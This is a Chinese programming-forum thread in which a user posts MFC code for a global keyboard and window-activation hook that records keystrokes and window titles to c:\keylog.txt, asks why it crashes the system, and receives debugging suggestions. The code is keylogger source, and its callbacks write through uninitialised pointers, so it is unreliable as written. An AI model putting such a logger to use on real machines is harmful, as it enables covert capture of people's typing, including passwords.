// Keydll.h : main header file for the KEYDLL DLL
//
..........
...........#define DllExport _declspec(dllexport)              //这句是我加的
DllExport void WINAPI Installhook();                //这句是我加的
#include "resource.h" // main symbols/////////////////////////////////////////////////////////////////////////////
// CKeydllApp
// See Keydll.cpp for the implementation of this class
//class CKeydllApp : public CWinApp
{
public:
CKeydllApp();    .............
    .............                       //其余都是自动生成的代码
}
//Keydll.cpp
// Keydll.cpp : Defines the initialization routines for the DLL.
//#include "stdafx.h"
#include "Keydll.h"#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endifHHOOK Hook1;                     //定义两个全局钩子
HHOOK Hook2;
LRESULT CALLBACK KeyHook(int nCode,WPARAM wParam,LPARAM lParam);
LRESULT CALLBACK WinHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char * buffer);// CKeydllAppBEGIN_MESSAGE_MAP(CKeydllApp, CWinApp)
//{{AFX_MSG_MAP(CKeydllApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
//    DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()/////////////////////////////////////////////////////////////////////////////
// CKeydllApp constructionCKeydllApp::CKeydllApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}/////////////////////////////////////////////////////////////////////////////
// The one and only CKeydllApp objectCKeydllApp theApp;DllExport void WINAPI Installhook()        //安装钩子,准备在EXE程序中调用
{
Hook1 = SetWindowsHookEx(WH_KEYBOARD,
  (HOOKPROC)KeyHook, theApp.m_hInstance, 0); Hook2 = SetWindowsHookEx(WH_CBT,
   (HOOKPROC)WinHook, theApp.m_hInstance, 0);
}//回调函数KeyHook
LRESULT CALLBACK KeyHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result = CallNextHookEx(Hook1,nCode,wParam,lParam); if(nCode == HC_ACTION)
{
if(lParam & 0x80000000)
{
char * buffer;
buffer[0] = wParam;
buffer[1] = '\x0';
SaveLog(buffer);
}
}
return Result;
}//回调函数Winhook
LRESULT CALLBACK WinHook(int nCode,WPARAM wParam,LPARAM lParam)
{
    LRESULT Result = CallNextHookEx(Hook2,nCode,wParam,lParam); if(nCode == HCBT_ACTIVATE)
{
char * buffer;
::GetWindowText((HWND)wParam,buffer,64);
SaveLog(buffer);
}
return Result;
}//保存记录的函数
void SaveLog(char * buffer)
{
CString name("c:\\keylog.txt");
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
} file.SeekToEnd();
file.Write(buffer,strlen(buffer));
file.Write("\x0d\x0a",2);
file.Close();
}
编译后成功,得到Keydll.dll和Keydll.lib然后
1。又新建一个基于对话框的MFC(exe)程序,我把Keydll.h,Keydll.lib拷入到对话框
   程序的目录中,把Keydll.dll拷入到对话框程序的Debug目录中
2。然后链接dll库,即在"project","settings…"的"link"属性页内,    
   在"object/librarymodules:"中填入"Keydll.lib"。再通过"project","add to  
   project","files…"将Keydll.h添加到工程中来,
3。然后在对话框程序的源文件keyhook.cpp中加入对其的引用:#include "Keydll.h",
4。然后调用dll中的导出函数Installhook(),准备实行监控,可是运行对话框程序就会死机,急死了,请帮帮我吧!!!!!!!!!!!!!!!11

解决方案 »

  1.   

    是不是SaveLog过程相对较慢造成的,你试试先将Installhook()中WH_CBT钩子封住;另一方法,可以跟踪一下你的Keydll,看是哪一步走不下去了
      

  2.   

    网上很多keyboard hook的例子,找找了
      

  3.   

    同意: NewFree(新自由人) 是不是SaveLog过程相对较慢造成的,你试试先将Installhook()中WH_CBT钩子封住;
      

  4.   

    应该不是SaveLog过程相对较慢造成,慢只可能出现有点只出现记录不全的问题,绝不会有死要机之说.
    不过我觉得在你的回调涵数中顺序有点问题
    //回调函数Winhook
    LRESULT CALLBACK WinHook(int nCode,WPARAM wParam,LPARAM lParam)
    { if(nCode == HCBT_ACTIVATE)
    {
    char * buffer;
    ::GetWindowText((HWND)wParam,buffer,64);
    SaveLog(buffer);
    }
    //自己处理完成后再调默认的处理过程吧
        LRESULT Result = CallNextHookEx(Hook2,nCode,wParam,lParam);
    return Result;
    }
      

  5.   

    应该是进程上下文不同造成的,既然是全局钩子,在PROCESS A中变量HOOK1记录了原钩子地址,那么在进程B中变量HOOK1的值和A中的值毫无关联,所以应该死机;可以这样试一试:
    将变量HOOK1放到共享内存段里,方法是在DEF文件里面声名:
    SECTIONS
    .sdata READ WRITE SHARED然后声明变量HOOK1
    #pragma data_seg(".sdata")
    HHOOK Hook1=NULL;   //!需要初始化
    #pragma data_seg()